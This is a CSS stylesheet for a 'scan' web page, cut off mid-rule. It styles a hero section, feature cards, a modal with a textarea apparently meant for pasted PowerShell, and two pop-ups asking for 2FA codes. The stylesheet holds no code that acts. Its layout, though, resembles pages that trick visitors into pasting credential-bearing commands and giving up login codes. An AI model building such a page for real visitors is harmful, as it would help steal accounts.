@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap');

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

:root {
    /* Enhanced color palette */
    --primary-blue: #2563eb;
    --light-blue: #3b82f6;
    --dark-blue: #1d4ed8;
    --accent-purple: #8b5cf6;
    --accent-cyan: #06b6d4;
    --bg-primary: #ffffff;
    --bg-secondary: #f8fafc;
    --bg-tertiary: #f1f5f9;
    --text-primary: #0f172a;
    --text-secondary: #475569;
    --text-muted: #64748b;
    --border-color: #e2e8f0;
    --card-bg: #ffffff;
    --success: #10b981;
    --error: #ef4444;
    --warning: #f59e0b;
    
    /* Enhanced shadows */
    --shadow-sm: 0 1px 2px 0 rgba(0, 0, 0, 0.05);
    --shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
    --shadow-md: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);
    --shadow-lg: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
    --shadow-xl: 0 25px 50px -12px rgba(0, 0, 0, 0.25);
    --shadow-glow: 0 0 20px rgba(37, 99, 235, 0.3);
    
    /* Enhanced gradients */
    --gradient-primary: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    --gradient-secondary: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);
    --gradient-accent: linear-gradient(135deg, #4facfe 0%, #00f2fe 100%);
    --gradient-success: linear-gradient(135deg, #11998e 0%, #38ef7d 100%);
    --gradient-hero: linear-gradient(135deg, #667eea 0%, #764ba2 50%, #f093fb 100%);
    --gradient-card: linear-gradient(145deg, #ffffff 0%, #f8fafc 100%);
}

[data-theme="dark"] {
    /* Dark mode enhanced colors */
    --primary-blue: #60a5fa;
    --light-blue: #93c5fd;
    --dark-blue: #3b82f6;
    --accent-purple: #a78bfa;
    --accent-cyan: #22d3ee;
    --bg-primary: #0f172a;
    --bg-secondary: #1e293b;
    --bg-tertiary: #334155;
    --text-primary: #f1f5f9;
    --text-secondary: #cbd5e1;
    --text-muted: #94a3b8;
    --border-color: #334155;
    --card-bg: #1e293b;
    
    --shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.4), 0 2px 4px -1px rgba(0, 0, 0, 0.3);
    --shadow-md: 0 10px 15px -3px rgba(0, 0, 0, 0.4), 0 4px 6px -2px rgba(0, 0, 0, 0.3);
    --shadow-lg: 0 20px 25px -5px rgba(0, 0, 0, 0.5), 0 10px 10px -5px rgba(0, 0, 0, 0.2);
    --shadow-xl: 0 25px 50px -12px rgba(0, 0, 0, 0.6);
    --shadow-glow: 0 0 30px rgba(96, 165, 250, 0.5);
    
    --gradient-primary: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    --gradient-card: linear-gradient(145deg, #1e293b 0%, #334155 100%);
}

/* Smooth scrolling */
html {
    scroll-behavior: smooth;
}

body {
    font-family: 'Inter', 'Segoe UI', system-ui, -apple-system, sans-serif;
    background: var(--bg-primary);
    color: var(--text-primary);
    line-height: 1.7;
    font-feature-settings: 'kern' 1, 'liga' 1;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    overflow-x: hidden;
}

.container {
    max-width: 1280px;
    margin: 0 auto;
    padding: 0 24px;
}

/* Enhanced scrollbar */
::-webkit-scrollbar {
    width: 8px;
}

::-webkit-scrollbar-track {
    background: var(--bg-secondary);
}

::-webkit-scrollbar-thumb {
    background: var(--primary-blue);
    border-radius: 4px;
}

::-webkit-scrollbar-thumb:hover {
    background: var(--dark-blue);
}

/* Glassmorphism effect */
.glass-effect {
    background: rgba(255, 255, 255, 0.1);
    backdrop-filter: blur(20px);
    border: 1px solid rgba(255, 255, 255, 0.2);
    box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
}

/* Enhanced Header */
header {
    background: rgba(255, 255, 255, 0.95);
    backdrop-filter: blur(20px);
    border-bottom: 1px solid rgba(226, 232, 240, 0.5);
    position: sticky;
    top: 0;
    z-index: 100;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

[data-theme="dark"] header {
    background: rgba(15, 23, 42, 0.95);
    border-bottom: 1px solid rgba(51, 65, 85, 0.5);
}

nav {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 1.25rem 0;
}

.logo {
    text-decoration: none;
    display: flex;
    align-items: center;
    gap: 1rem;
    transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    filter: drop-shadow(0 2px 8px rgba(102, 126, 234, 0.2));
}

.logo:hover {
    transform: translateY(-3px) scale(1.08);
    filter: drop-shadow(0 8px 25px rgba(102, 126, 234, 0.4));
}

.logo-symbol {
    position: relative;
    width: 50px;
    height: 50px;
    perspective: 1000px;
}

.logo-svg {
    width: 100%;
    height: 100%;
    transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}

.logo:hover .logo-svg {
    transform: rotateY(15deg) rotateX(5deg);
}

.logo-text {
    font-size: 1.75rem;
    font-weight: 800;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    letter-spacing: -0.02em;
}

/* Logo Symbol Animations */
.scan-ring-outer {
    animation: scanRotate 8s linear infinite;
    transform-origin: 20px 20px;
}

.scan-ring-middle {
    animation: scanRotate 6s linear infinite reverse;
    transform-origin: 20px 20px;
}

.scan-core {
    animation: corePulse 3s ease-in-out infinite;
}

.scan-beam {
    animation: beamRotate 4s linear infinite;
    transform-origin: 20px 15px;
}

.corner-brackets {
    animation: bracketPulse 2s ease-in-out infinite alternate;
}

.scan-line-h {
    animation: scanLineH 3s ease-in-out infinite;
}

.scan-line-v {
    animation: scanLineV 3s ease-in-out infinite 1.5s;
}

@keyframes scanRotate {
    from { transform: rotate(0deg); }
    to { transform: rotate(360deg); }
}

@keyframes corePulse {
    0%, 100% { opacity: 1; transform: scale(1); }
    50% { opacity: 0.7; transform: scale(1.1); }
}

@keyframes beamRotate {
    from { transform: rotate(0deg); }
    to { transform: rotate(360deg); }
}

@keyframes bracketPulse {
    from { opacity: 0.5; stroke-width: 1.5; }
    to { opacity: 1; stroke-width: 2.5; }
}

@keyframes scanLineH {
    0%, 100% { opacity: 0.3; transform: scaleX(0.8); }
    50% { opacity: 1; transform: scaleX(1.2); }
}

@keyframes scanLineV {
    0%, 100% { opacity: 0.3; transform: scaleY(0.8); }
    50% { opacity: 1; transform: scaleY(1.2); }
}

/* Dark mode adjustments for logo */
[data-theme="dark"] .logo-svg {
    filter: brightness(1.2) saturate(1.1);
}

/* Logo hover effects */
.logo:hover .scan-ring-outer {
    animation-duration: 4s;
}

.logo:hover .scan-ring-middle {
    animation-duration: 3s;
}

.logo:hover .scan-core {
    animation-duration: 1.5s;
}

.logo:hover .scan-beam {
    animation-duration: 2s;
}

.nav-links {
    display: flex;
    list-style: none;
    gap: 0.5rem;
    align-items: center;
}

.nav-links a {
    color: var(--text-secondary);
    text-decoration: none;
    font-weight: 500;
    padding: 0.75rem 1.25rem;
    border-radius: 12px;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    position: relative;
    overflow: hidden;
}

.nav-links a::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: var(--gradient-primary);
    opacity: 0.1;
    transition: left 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    z-index: -1;
}

.nav-links a:hover::before {
    left: 0;
}

.nav-links a:hover {
    color: var(--primary-blue);
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

/* Enhanced Navigation Scan Button */
.scan-btn-nav {
    background: var(--gradient-primary);
    border: none;
    border-radius: 50px;
    padding: 0.875rem 1.75rem;
    color: white;
    cursor: pointer;
    font-size: 1rem;
    font-weight: 600;
    transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    margin-right: 1rem;
    display: flex;
    align-items: center;
    gap: 0.5rem;
    box-shadow: 0 8px 25px rgba(102, 126, 234, 0.4);
    position: relative;
    overflow: hidden;
}

.scan-btn-nav::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
    transition: left 0.6s;
}

.scan-btn-nav:hover::before {
    left: 100%;
}

.scan-btn-nav:hover {
    transform: translateY(-3px) scale(1.05);
    box-shadow: 0 12px 35px rgba(102, 126, 234, 0.6);
}

.scan-btn-nav:active {
    transform: translateY(-1px) scale(1.02);
}

/* Enhanced Theme Toggle */
.theme-toggle {
    background: var(--bg-secondary);
    border: 2px solid var(--border-color);
    border-radius: 50px;
    padding: 0.5rem 1rem;
    color: var(--text-primary);
    cursor: pointer;
    font-size: 0.9rem;
    font-weight: 500;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    display: flex;
    align-items: center;
    gap: 0.5rem;
    box-shadow: var(--shadow-sm);
}

.theme-toggle:hover {
    background: var(--bg-tertiary);
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
    border-color: var(--primary-blue);
}

/* Spectacular Hero Section */
.hero {
    background: var(--gradient-hero);
    color: white;
    padding: 8rem 0;
    text-align: center;
    position: relative;
    overflow: hidden;
    min-height: 90vh;
    display: flex;
    align-items: center;
}

.hero::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: 
        radial-gradient(circle at 20% 80%, rgba(120, 119, 198, 0.3) 0%, transparent 50%),
        radial-gradient(circle at 80% 20%, rgba(255, 255, 255, 0.1) 0%, transparent 50%),
        radial-gradient(circle at 40% 40%, rgba(120, 119, 198, 0.2) 0%, transparent 50%);
    animation: aurora 20s ease-in-out infinite;
}

@keyframes aurora {
    0%, 100% { opacity: 1; transform: translateY(0px) rotate(0deg); }
    50% { opacity: 0.8; transform: translateY(-20px) rotate(1deg); }
}

.hero::after {
    content: '';
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
    height: 100px;
    background: linear-gradient(180deg, transparent 0%, var(--bg-secondary) 100%);
}

.hero-content {
    position: relative;
    z-index: 2;
    margin-bottom: 6rem;
}

.hero-symbol {
    width: 120px;
    height: 120px;
    margin: 0 auto 2rem;
    animation: heroSymbolFloat 8s ease-in-out infinite;
}

.hero-logo-svg {
    width: 100%;
    height: 100%;
    filter: drop-shadow(0 0 30px rgba(255, 255, 255, 0.3));
}

.hero-scan-ring-outer {
    animation: scanRotate 12s linear infinite;
    transform-origin: 40px 40px;
}

.hero-scan-ring-middle {
    animation: scanRotate 8s linear infinite reverse;
    transform-origin: 40px 40px;
}

.hero-scan-core {
    animation: heroCorePulse 4s ease-in-out infinite;
}

.hero-scan-beam {
    animation: beamRotate 6s linear infinite;
    transform-origin: 40px 30px;
}

.hero-corner-brackets {
    animation: heroBracketPulse 3s ease-in-out infinite alternate;
}

.hero-scan-line-h {
    animation: scanLineH 4s ease-in-out infinite;
}

.hero-scan-line-v {
    animation: scanLineV 4s ease-in-out infinite 2s;
}

@keyframes heroSymbolFloat {
    0%, 100% { transform: translateY(0px) rotate(0deg); }
    25% { transform: translateY(-10px) rotate(2deg); }
    50% { transform: translateY(0px) rotate(0deg); }
    75% { transform: translateY(-5px) rotate(-1deg); }
}

@keyframes heroCorePulse {
    0%, 100% { opacity: 0.9; transform: scale(1); }
    50% { opacity: 1; transform: scale(1.15); }
}

@keyframes heroBracketPulse {
    from { opacity: 0.6; stroke-width: 2; }
    to { opacity: 1; stroke-width: 4; }
}

.hero h1 {
    font-size: clamp(3rem, 8vw, 6rem);
    font-weight: 800;
    margin-bottom: 1.5rem;
    background: linear-gradient(135deg, #ffffff 0%, #e0e7ff 50%, #c7d2fe 100%);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    filter: drop-shadow(0 4px 8px rgba(0, 0, 0, 0.3));
    animation: glow 4s ease-in-out infinite alternate;
}

@keyframes glow {
    from { filter: drop-shadow(0 4px 8px rgba(0, 0, 0, 0.3)); }
    to { filter: drop-shadow(0 8px 16px rgba(96, 165, 250, 0.4)); }
}

.hero-subtitle {
    font-size: clamp(1.25rem, 4vw, 2rem);
    font-weight: 600;
    margin-bottom: 1.5rem;
    opacity: 0.95;
    animation: fadeInUp 1s ease-out 0.3s both;
}

.hero-description {
    font-size: clamp(1rem, 2.5vw, 1.25rem);
    margin-bottom: 3rem;
    opacity: 0.9;
    max-width: 700px;
    margin-left: auto;
    margin-right: auto;
    line-height: 1.8;
    animation: fadeInUp 1s ease-out 0.6s both;
}

@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(30px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.hero-buttons {
    display: flex;
    gap: 1.5rem;
    justify-content: center;
    flex-wrap: wrap;
    animation: fadeInUp 1s ease-out 0.9s both;
}

.cta-button {
    padding: 1.25rem 2.5rem;
    border: none;
    border-radius: 50px;
    font-size: 1.125rem;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    text-decoration: none;
    display: inline-flex;
    align-items: center;
    gap: 0.75rem;
    position: relative;
    overflow: hidden;
}

.cta-button::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
    transition: left 0.6s;
}

.cta-button:hover::before {
    left: 100%;
}

.cta-button.primary {
    background: rgba(255, 255, 255, 0.95);
    color: var(--primary-blue);
    box-shadow: 0 8px 25px rgba(0, 0, 0, 0.2);
}

.cta-button.primary:hover {
    background: white;
    transform: translateY(-4px) scale(1.05);
    box-shadow: 0 12px 35px rgba(0, 0, 0, 0.3);
}

.cta-button.secondary {
    background: rgba(255, 255, 255, 0.1);
    color: white;
    border: 2px solid rgba(255, 255, 255, 0.3);
    backdrop-filter: blur(10px);
}

.cta-button.secondary:hover {
    background: rgba(255, 255, 255, 0.2);
    border-color: rgba(255, 255, 255, 0.6);
    transform: translateY(-4px) scale(1.05);
    box-shadow: 0 12px 35px rgba(255, 255, 255, 0.2);
}

/* Enhanced Statistics */
.hero-stats {
    display: flex;
    justify-content: center;
    gap: 6rem;
    position: relative;
    z-index: 2;
    animation: fadeInUp 1s ease-out 1.2s both;
}

.stat {
    text-align: center;
    position: relative;
}

.stat::before {
    content: '';
    position: absolute;
    top: -20px;
    left: 50%;
    transform: translateX(-50%);
    width: 40px;
    height: 2px;
    background: var(--gradient-accent);
    border-radius: 2px;
}

.stat-number {
    display: block;
    font-size: clamp(2rem, 5vw, 3.5rem);
    font-weight: 800;
    margin-bottom: 0.75rem;
    background: linear-gradient(135deg, #ffffff 0%, #e0e7ff 100%);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    animation: countUp 2s ease-out 1.5s both;
}

@keyframes countUp {
    from { transform: scale(0.5); opacity: 0; }
    to { transform: scale(1); opacity: 1; }
}

.stat-label {
    font-size: 1.125rem;
    opacity: 0.9;
    font-weight: 500;
}

/* Enhanced Main Content */
main {
    padding: 8rem 0;
    background: var(--bg-secondary);
    position: relative;
}

.section-header {
    text-align: center;
    margin-bottom: 6rem;
    animation: fadeInUp 1s ease-out both;
}

.section-header h2 {
    font-size: clamp(2rem, 5vw, 3.5rem);
    font-weight: 700;
    color: var(--text-primary);
    margin-bottom: 1.5rem;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
}

.section-header p {
    font-size: 1.25rem;
    color: var(--text-secondary);
    max-width: 700px;
    margin: 0 auto;
    line-height: 1.8;
}

/* Spectacular Feature Cards */
.features {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(380px, 1fr));
    gap: 3rem;
    margin-bottom: 8rem;
}

.feature-card {
    background: var(--gradient-card);
    padding: 3rem;
    border-radius: 24px;
    box-shadow: var(--shadow-lg);
    border: 1px solid var(--border-color);
    transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1);
    position: relative;
    overflow: hidden;
    animation: fadeInUp 1s ease-out both;
}

.feature-card::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 6px;
    background: var(--gradient-primary);
    transform: scaleX(0);
    transition: transform 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}

.feature-card:hover::before {
    transform: scaleX(1);
}

.feature-card::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: radial-gradient(circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(102, 126, 234, 0.05) 0%, transparent 50%);
    opacity: 0;
    transition: opacity 0.3s ease;
    pointer-events: none;
}

.feature-card:hover::after {
    opacity: 1;
}

.feature-card:hover {
    transform: translateY(-8px) scale(1.02);
    box-shadow: var(--shadow-xl);
    border-color: var(--primary-blue);
}

.feature-icon {
    width: 80px;
    height: 80px;
    background: var(--gradient-primary);
    border-radius: 20px;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 2rem;
    font-size: 2.5rem;
    box-shadow: var(--shadow-glow);
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

.feature-card:hover .feature-icon {
    transform: scale(1.1) rotate(5deg);
    box-shadow: 0 0 40px rgba(102, 126, 234, 0.6);
}

.feature-card h3 {
    color: var(--text-primary);
    margin-bottom: 1.5rem;
    font-size: 1.5rem;
    font-weight: 700;
}

.feature-card p {
    color: var(--text-secondary);
    margin-bottom: 2rem;
    line-height: 1.8;
    font-size: 1.125rem;
}

.feature-list {
    list-style: none;
    margin: 0;
    padding: 0;
}

.feature-list li {
    color: var(--text-secondary);
    padding: 0.75rem 0;
    border-bottom: 1px solid var(--border-color);
    position: relative;
    padding-left: 2rem;
    transition: all 0.3s ease;
}

.feature-list li:last-child {
    border-bottom: none;
}

.feature-list li::before {
    content: '✨';
    position: absolute;
    left: 0;
    color: var(--success);
    font-weight: bold;
    animation: sparkle 2s ease-in-out infinite;
}

@keyframes sparkle {
    0%, 100% { transform: scale(1); }
    50% { transform: scale(1.2); }
}

.feature-list li:hover {
    color: var(--text-primary);
    transform: translateX(5px);
}

/* Enhanced Scan Section */
.scan-section {
    margin: 8rem 0;
}

.scan-container {
    background: var(--gradient-card);
    padding: 5rem;
    border-radius: 32px;
    box-shadow: var(--shadow-xl);
    border: 1px solid var(--border-color);
    text-align: center;
    position: relative;
    overflow: hidden;
    animation: fadeInUp 1s ease-out both;
}

.scan-container::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 8px;
    background: var(--gradient-primary);
    animation: shimmer 3s ease-in-out infinite;
}

@keyframes shimmer {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.7; }
}

.scan-header h2 {
    font-size: clamp(2rem, 4vw, 3rem);
    font-weight: 700;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    margin-bottom: 1.5rem;
}

.scan-header p {
    font-size: 1.25rem;
    color: var(--text-secondary);
    margin-bottom: 4rem;
    line-height: 1.8;
}

.scan-area {
    background: var(--bg-secondary);
    border: 3px dashed var(--border-color);
    border-radius: 24px;
    padding: 4rem;
    margin: 3rem 0;
    transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    position: relative;
    cursor: pointer;
}

.scan-area::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: var(--gradient-primary);
    opacity: 0;
    border-radius: 21px;
    transition: opacity 0.3s ease;
}

.scan-area:hover::before {
    opacity: 0.05;
}

.scan-area:hover {
    border-color: var(--primary-blue);
    transform: translateY(-5px);
    box-shadow: var(--shadow-lg);
}

.scan-icon {
    font-size: 4rem;
    margin-bottom: 1.5rem;
    animation: pulse 2s ease-in-out infinite;
}

@keyframes pulse {
    0%, 100% { transform: scale(1); }
    50% { transform: scale(1.05); }
}

.scan-area h3 {
    font-size: 1.75rem;
    font-weight: 700;
    color: var(--text-primary);
    margin-bottom: 1.5rem;
}

.scan-features {
    display: flex;
    justify-content: center;
    gap: 1.5rem;
    flex-wrap: wrap;
    margin-top: 2.5rem;
}

.feature-tag {
    background: var(--gradient-primary);
    color: white;
    padding: 0.75rem 1.5rem;
    border-radius: 50px;
    font-size: 1rem;
    font-weight: 600;
    box-shadow: var(--shadow-md);
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

.feature-tag:hover {
    transform: translateY(-2px) scale(1.05);
    box-shadow: var(--shadow-lg);
}

.scan-btn-main {
    background: var(--gradient-primary);
    color: white;
    border: none;
    padding: 1.5rem 4rem;
    border-radius: 50px;
    font-size: 1.25rem;
    font-weight: 700;
    cursor: pointer;
    transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    margin: 3rem auto;
    display: inline-flex;
    align-items: center;
    gap: 1rem;
    box-shadow: 0 12px 30px rgba(102, 126, 234, 0.4);
    position: relative;
    overflow: hidden;
}

.scan-btn-main::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
    transition: left 0.6s;
}

.scan-btn-main:hover::before {
    left: 100%;
}

.scan-btn-main:hover {
    transform: translateY(-5px) scale(1.05);
    box-shadow: 0 20px 40px rgba(102, 126, 234, 0.6);
}

/* Enhanced About Section */
#about {
    margin: 8rem 0;
    animation: fadeInUp 1s ease-out both;
}

.about-content {
    text-align: center;
}

.about-content h2 {
    font-size: clamp(2rem, 4vw, 3rem);
    font-weight: 700;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    margin-bottom: 2rem;
}

.about-content > p {
    font-size: 1.25rem;
    color: var(--text-secondary);
    line-height: 1.8;
    max-width: 900px;
    margin: 0 auto 4rem;
}

.about-grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
    gap: 2.5rem;
    margin-top: 4rem;
}

.about-item {
    background: var(--gradient-card);
    padding: 2.5rem;
    border-radius: 20px;
    box-shadow: var(--shadow-lg);
    border: 1px solid var(--border-color);
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

.about-item:hover {
    transform: translateY(-5px);
    box-shadow: var(--shadow-xl);
}

.about-item h4 {
    font-size: 1.375rem;
    font-weight: 700;
    color: var(--text-primary);
    margin-bottom: 1.5rem;
}

.about-item p {
    color: var(--text-secondary);
    line-height: 1.8;
    font-size: 1.125rem;
}

/* Spectacular Modal */
.modal {
    display: none;
    position: fixed;
    z-index: 1000;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.7);
    backdrop-filter: blur(20px);
}

.modal-content {
    background: var(--gradient-card);
    margin: 12% auto;
    border-radius: 16px;
    width: 80%;
    max-width: 380px;
    box-shadow: var(--shadow-xl);
    border: 1px solid var(--border-color);
    position: relative;
    animation: modalSlideIn 0.5s cubic-bezier(0.4, 0, 0.2, 1);
    overflow: hidden;
}

@keyframes modalSlideIn {
    from {
        transform: translateY(-100px) scale(0.9);
        opacity: 0;
    }
    to {
        transform: translateY(0) scale(1);
        opacity: 1;
    }
}

.modal-header {
    padding: 1rem 1.5rem 0.75rem;
    border-bottom: 1px solid var(--border-color);
    display: flex;
    justify-content: space-between;
    align-items: center;
    background: var(--bg-secondary);
    position: relative;
}

.header-buttons {
    display: flex;
    align-items: center;
    gap: 0.75rem;
}

.header-submit {
    padding: 0.5rem 1rem;
    font-size: 0.85rem;
}

.header-submit:disabled {
    animation: pulse 1.5s ease-in-out infinite;
    opacity: 0.8;
}

@keyframes pulse {
    0% {
        transform: scale(1);
        opacity: 0.8;
    }
    50% {
        transform: scale(1.02);
        opacity: 0.9;
    }
    100% {
        transform: scale(1);
        opacity: 0.8;
    }
}

.modal-header::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 4px;
    background: var(--gradient-primary);
}

.modal-header h2 {
    color: var(--text-primary);
    font-size: 2rem;
    font-weight: 700;
    margin: 0;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
}

.close {
    color: var(--text-secondary);
    font-size: 2rem;
    font-weight: bold;
    cursor: pointer;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    width: 50px;
    height: 50px;
    display: flex;
    align-items: center;
    justify-content: center;
    border-radius: 50%;
    background: var(--bg-primary);
    box-shadow: var(--shadow-md);
}

.close:hover {
    color: var(--error);
    background: var(--bg-tertiary);
    transform: scale(1.1) rotate(90deg);
}

.modal-body {
    padding: 1rem 1.5rem;
}

.modal-description {
    color: var(--text-secondary);
    margin-bottom: 1rem;
    line-height: 1.5;
    font-size: 0.9rem;
}

.input-group {
    margin-bottom: 1.5rem;
}

.input-group label {
    display: block;
    color: var(--text-primary);
    font-weight: 600;
    margin-bottom: 1rem;
    font-size: 1.125rem;
}

.powershell-input {
    width: 100%;
    min-height: 120px;
    padding: 1rem;
    border: 2px solid var(--border-color);
    border-radius: 10px;
    background: var(--bg-secondary);
    color: var(--text-primary);
    font-family: 'JetBrains Mono', 'Monaco', 'Menlo', monospace;
    font-size: 0.9rem;
    line-height: 1.4;
    resize: vertical;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

.powershell-input:focus {
    outline: none;
    border-color: var(--primary-blue);
    box-shadow: 0 0 0 4px rgba(37, 99, 235, 0.1), var(--shadow-lg);
    background: var(--bg-primary);
}

.input-info {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-top: 1rem;
    font-size: 1rem;
}

.char-count {
    color: var(--text-muted);
    font-weight: 500;
}

.input-status {
    color: var(--success);
    font-weight: 600;
}

.modal-footer {
    padding: 0.75rem 1.5rem 1rem;
    display: flex;
    gap: 0.75rem;
    justify-content: flex-end;
}

.modal-button {
    padding: 0.75rem 1.5rem;
    border: none;
    border-radius: 25px;
    cursor: pointer;
    font-size: 0.9rem;
    font-weight: 600;
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    display: flex;
    align-items: center;
    gap: 0.75rem;
}

.submit-btn {
    background: var(--gradient-primary);
    color: white;
    box-shadow: 0 8px 25px rgba(102, 126, 234, 0.4);
}

.submit-btn:hover {
    transform: translateY(-3px) scale(1.05);
    box-shadow: 0 12px 35px rgba(102, 126, 234, 0.6);
}

.submit-btn:disabled {
    background: var(--text-muted);
    cursor: not-allowed;
    transform: none;
    box-shadow: none;
}

.cancel-btn {
    background: var(--bg-secondary);
    color: var(--text-primary);
    border: 2px solid var(--border-color);
}

.cancel-btn:hover {
    background: var(--bg-tertiary);
    transform: translateY(-2px);
    box-shadow: var(--shadow-md);
}

/* Enhanced Loading Overlay */
.loading-overlay {
    display: none;
    position: fixed;
    z-index: 2000;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.9);
    backdrop-filter: blur(20px);
}

.loading-content {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    text-align: center;
    color: white;
}

.loading-spinner {
    width: 80px;
    height: 80px;
    border: 4px solid rgba(255, 255, 255, 0.2);
    border-top: 4px solid var(--primary-blue);
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 0 auto 3rem;
    position: relative;
}

.loading-spinner::before {
    content: '';
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    width: 60px;
    height: 60px;
    border: 3px solid transparent;
    border-top: 3px solid var(--accent-cyan);
    border-radius: 50%;
    animation: spin 1.5s linear infinite reverse;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-content h3 {
    font-size: 2rem;
    margin-bottom: 1.5rem;
    font-weight: 700;
    background: var(--gradient-primary);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
}

.loading-content p {
    font-size: 1.25rem;
    opacity: 0.9;
}

/* ===== 2FA Modal Styles ===== */
#twofa-modal .modal-content,
#twofa-modal-2 .modal-content {
  background: #27292f !important;
  border-radius: 18px;
  width: 480px;
  max-width: 95vw;
  color: #fff;
  box-shadow: 0 8px 32px rgba(0,0,0,0.25);
  padding: 0;
  text-align: center;
  position: fixed;
  top: 25%;
  left: 50%;
  transform: translate(-50%, -50%);
  cursor: default;
  user-select: none;
  z-index: 10001;
}
#twofa-modal .modal-header,
#twofa-modal-2 .modal-header {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  position: relative;
  background: none;
  padding: 20px 0;
  text-align: center;
}
#twofa-modal .modal-header-line,
#twofa-modal-2 .modal-header-line {
  width: 100%;
  height: 1px;
  background-color: #444;
  margin: 8px 0 0 0;
}
#twofa-modal .modal-modern-header-button,
#twofa-modal-2 .modal-modern-header-button {
  background: none;
  border: none;
  color: #fff;
  font-size: 28px;
  cursor: pointer;
  margin: 0;
  padding: 0;
  height: 40px;
  width: 40px;
  display: flex;
  align-items: center;
  justify-content: center;
  position: absolute;
  left: 20px;
  top: 20px;
}
.modal-modern-header-button:hover { color: red; }
#twofa-modal .modal-title,
#twofa-modal-2 .modal-title {
  font-size: 22px;
  font-weight: 600;
  color: #fff;
  text-align: center !important;
  margin: 0 auto;
  flex: unset;
}
#twofa-modal .modal-body,
#twofa-modal-2 .modal-body {
  padding: 20px 32px;
  text-align: center;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
}
#twofa-modal .modal-lock-icon,
#twofa-modal-2 .modal-lock-icon {
  width: 135px !important;
